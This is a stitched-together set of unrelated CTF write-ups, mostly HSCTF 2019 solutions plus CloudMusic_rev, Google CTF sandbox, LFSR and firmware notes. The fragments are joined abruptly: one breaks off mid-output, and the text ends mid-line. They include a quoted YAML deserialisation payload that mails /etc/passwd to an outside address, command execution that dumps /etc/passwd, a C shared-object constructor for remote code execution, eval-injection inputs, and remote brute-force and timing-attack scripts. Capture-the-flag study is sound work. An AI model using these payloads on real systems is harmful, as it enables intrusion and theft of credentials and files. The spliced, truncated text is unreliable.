` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """ flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316 # I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999) # Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess # Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food # Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])` I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result. ```pythonfrom functools import reducefrom gmpy2 import * def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier) def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus) st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d)) w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag print(''.join(chr(i) for i in ans)) ``` If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}` # **REVERSAL** ## I Thought Trig Was Really Easy-:> description: ### Solution: The problem is here as: ```pythonimport math def nice_math(x, y): return round(x + y*math.cos(math.pi * x)) lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2)) def get_number(char): return ord(char) - 96 inp = input("Enter the text: ") out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1)) ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse. So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it! ```pythonimport math def nice_math(x, y): return round(x + y*math.cos(math.pi * x)) lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2)) def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1)) ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1 print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}` ## Tux Talk Show 2019:> description: ### Solution: For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv) { long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us. So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here. ```pythonfrom pwn import * a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767 m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h" int main(int argc, char *argv[]) { time_t t; srand((unsigned) time(&t);; int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e}; int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1); printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time host = "rev.hsctf.com"port = 6767 s = remote(host,port)p = process("./a.out") res = p.recvline() s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server. ## Bitecode -:> description: ### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups. http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java). So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them. [Watch this video](https://youtu.be/rYOZHB_ABlo)[![Watch this video](https://imgur.com/x2U3taX.png)](https://youtu.be/rYOZHB_ABlo) <video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video> So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}` # **WEB** ## MD5-- :> description: ### Solution: ```php ```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag. One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf) So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s)) breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409 Here's our flag `hsctf{php_type_juggling_is_fun}` ## Networked Password -:> description: ### Solution: We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-: > Hint : You know the flag format So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers. And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{" DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag. # **FORENSICS** ## Double Trouble : > description: ### Solution: After downloading image you see both are quite similar . ![](assets/forensics/koala.png) ![](assets/forensics/koala2.png) So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install). Opening it on command line `java -jar stegsolve.jar` I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: "
[中文](./readme_zh.md) [English](./readme.md) [Docker](./docker) [Exp](./exp.py) # CloudMusic_rev WriteUp Here is 1.0 version writeup: [impakho/ciscn2019_final_web1](https://github.com/impakho/ciscn2019_final_web1) This challenge is 2.0 version. Read the webpage source code, find out `#firmware` in `index` page. ![1](./img/1.png) `#firmware` page, only admin permitted. ![2](./img/2.png) And then reg and login. In my share page, you can see a english song, the others are chinese songs. This english song is the default song in web music player. So go to see the source code of `#share`. You can see `/media/share.php?` and `btoa`. It's not difficult to find an arbitrary file read exploit here. ![3](./img/3.png) Try to read `../index.php` and visit `http://127.0.0.1/media/share.php?Li4vaW5kZXgucGhw`. ![4](./img/4.png) It blocks `.php` file. But it gives us a hint, we can use `urlencode` to bypass. ![5](./img/5.png) Read the `../index.php` file successfully. We can also read other file. We have to read the admin password to use `#firmware`. The exploit is in `/include/upload.php`. It use `/lib/parser.so` to parse the mp3 file we uploaded. It checks the admin password inside `.so`. ![6](./img/6.png) We use `IDA` to decompile `/lib/parser.so` file. The exploit is in `read_title` / `read_artist` / `read_album` function which use `strcpy`. We can `off by null` to set `mframe_data` first byte to `0x00`. Then we can read `mem_mpasswd` aka admin password. ![7](./img/7.png) Comparing to `1.0 version`, this is a wrong `parser.so`. It uses `strlen` to get the length. `unicode` will not work anymore. We can make a frame (length: `0x70`), and then upload the mp3 file to get admin password. The `mp3` file is in `exp.py` script. We use admin password to login, and visit `#firmware`. ![8](./img/8.png) ![9](./img/9.png) Leak the source code, and read `#firmware` source code. We can upload a `.so` file here. And guess the filename based on server time. Finally, load the `.so` file to `rce`. We can use `__attribute__ ((constructor))` to `rce`. Just like this: ```#include <stdio.h>#include <string.h> char _version[0x130];char * version = &_version; __attribute__ ((constructor)) void fun(){ memset(version,0,0x130); FILE * fp=popen("/usr/bin/tac /flag", "r"); if (fp==NULL) return; fread(version, 1, 0x100, fp); pclose(fp);}``` ![10](./img/10.png) Comparing with `1.0` version, there is no `rce` result here. So we can write the result to `/uploads/firmware/` or `/uploads/music/`. Our user `www-data` have no permission to read the `/flag` file. We need to find `suid` program to read the flag. `/usr/bin/tac` have `suid` permission. So we can use it to read the flag. The payload is `/usr/bin/tac /flag > /var/www/html/uploads/firmware/xxxxx`. Script to `getflag`, see the `exp.py` file. Flag:`de1ctf{W3b_ANND_PWNNN_C1ou9mus1c_revvvv11}`
# Work Computer (sandbox) ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/2-0.png) We're given a server and port to connect to. Let's go ahead and connect to it using netcat and see what the challenge has in store for us. If you're on a school network or an otherwise moderated network, make sure that the server isn't blocked by your network. To connect to the target using netcat, we'll simply just call `nc` from the terminal and supply the given server and port. ```$ nc readme.ctfcompetition.com 1337``` After doing so, we're greeted with a prompt, so let's see what we're dealing with. I'll first list all the files in the home directory of whatever user I am using `ls`. After that, I'll go ahead and see who I am using `whoami`, and then I'll try to print all environment variables using `printenv` to hopefully get a better idea of what I'm dealing with. Finally, I'll try to read the flag using `cat`. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/2-1.png) It looks like we're in jail and we need to break out. It looks like a lot of the programs and utilities that we're used to are either unavailable to us or otherwise restricted. Let's go ahead and see if we can find out where we are,and if we can travel outside of our home directory. We can attempt to travel out using `cd`. We'll try to travel to the root directory, which is at the top (or base, depending on how you see it) of the filesystem. Then, we'll list the contents using `ls`. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/2-2.png) Since our environment seems to restrict what kinds of programs and utilities are at our disposal, let's go ahead and see what *is* at our disposal. On any sort of a \*NIX filesystem, binaries are usually stored in four main places: `/bin`, `/sbin`, `/usr/bin`, and `/usr/sbin`. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/2-3.png) Let's go ahead and list the contents of them using `ls`. ```> ls /binarchbusyboxchgrp-- snip -- > ls /sbinacpidadjtimexapk-- snip --> ls /usr/bin[[[basename-- snip --> ls /usr/sbinaddgroupadduserbrctl-- snip --``` I must admit that I spent quite a while on this problem going through each of those programs and identifying what they do, and if they could be used to read the file and redirect them to STDOUT for us to read. After a lot of thorough searching, I found `shuf`, located in `/usr/bin`, to be the solution to this level. `shuf` is a program that randomly permutes lines. We don't care that it randomly permutes lines because either way, it's able to read files and redirect their contents to STDOUT. Even then, if we run `wc -l` (word count, `-l` for line count) on the `README.flag` file in our home directory, we see that there's only one line anyways. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/2-4.png) And just like that, we have the flag. ## Flag ```CTF{4ll_D474_5h4ll_B3_Fr33}``` # Next Stop ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/2-5.png) I unfortunately don't have the writeup for FriendSpaceBookPlus as another one of my teammates did this challenge, and it's frankly flying over my head. Next stop: [Drive to the target](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day5-drive-to-the-target.md) (Blue)
[中文](./README_zh.md) [English](./README.md) ## SolutionYou can look at this [website](https://ctf-wiki.github.io/ctf-wiki/crypto/streamcipher/fsr/lfsr/) to know the basic principle of lfsr and find the solution under the `BM algorithm` section that using sequence of length 2n to recover mask and key. In this challenge we know the sequence of length (2n - 8 bits). So we just need to brute 8 bits (using FLAG[7:11]=='1224' to check) to get the mask, get the key and finally get the flag. Just a math game! ## Code 1. Code/exp.sage(exp script, also you can use B-M algorithm to recover mask) 2. Code/task.py(Generate sequence using KEY and MASK) 3. Code/output(Save the output of task.py) 4. Code/secret.py(Save the MASK,KEY and FLAG)
# a-major-problem (200) ## Problem A mysterious figure named Major Mnemonic has sent you the following set of words. Figure out what they mean! "Pave Pop Poke Pop Dutch Dozen Denim Deism Loot Thatch Pal Atheism Rough Ditch Tonal" ## Solution Looks like this is a Major Mnemonic problem. You can learn more about it here: https://en.wikipedia.org/wiki/Mnemonic_major_system ```- = UnassignedPave = 9 - 8 - => bPop = 9 - 9 => cPoke = 9 - 7 - => aPop = 9 - 9 => cDutch = 1 - 1 - 6 => tDozen = 1 - 0 - 2 => fDenim = 1 - 2 - 3 => {Deism = 1 - - 0 3 => gLoot = 5 - - 1 => 3Thatch = 1 - 1 6 => tPal = 9 - 5 => _Athiesm = - 1 - - 0 3 => gRough = 4 - 8 => 0Ditch = 1 - 1 6 => tTonal = 1 - 2 - 5 => } bcactf{g3t_g0t}```
[中文](./README_zh.md) [English](./README.md) This game is to examine CTFer's ability to extract the file system from the encrypted firmware. I don't want to just ask questions for the competition. I hope that the CTF competition will be closer to the real environment. so I used the firmware encryption method that exists in the real device. There are two expected solutions to this game. One is to write the script to decrypt the firmware by reversing the code of the function. The other is to use the encryption program provided by the firmware, you can find some useful information by searching the hint, which is why I used the DIR-850L instead of other models. I hope you can gain something. Now, you have decrypted the firmware. Start hunting your router vulnerability !
A High School CTF event. We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally. ![image](assets/screencapture-ctf-hsctf-challenges-2019-06-08-12_20_54.png) As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:. Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?} So I will try to discuss the challenges i loved the *most* here: # **MISC** ## A Simple Conversation-:> description: ### Solution: On looking to the section of source code we see ```pythonprint("What's your age?") age = input("> ") sleep(1) ```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see. ```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}` ## Broken_Repl-:> description: ### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley: ```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description: ### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered) ```That's it :smiley: ## 64+Word -:> description: ### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py) ```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1 ``` then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}` ## Broken gps-:> description:Input Format: A challenge to test some coding skills. ### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all. ```pythonimport math suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz} another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])} def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2) flag = "" for filename in range(1,13): position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0]) with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:] for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord] flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26) print(f"hsctf{{{flag}}}")``` ## RealReversal-:> description: ### Solution:On opening file we see Reversing the file means reversing the hexes.So one liner will do that ```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])``` and on opening reversed file you see utf-8 chars Explanation:Why it happens that on the reverse bytes we can't see any characters, because >UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes. So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}` ## JsonInfo-:> description: ### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning: >Refer to the PyYAML documentation: >Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file. >!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values ​​will open the door for attacks. >repair: >Always use yaml.safe_load unless you have a very good reason. So we tried to do these thing as instructed here to see if the vulnerability is here: ```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info! ```So, yeah the vulnerability is here, Great!!! ```streaker@DESKTOP-DS7FIJL:$ nc -q 1 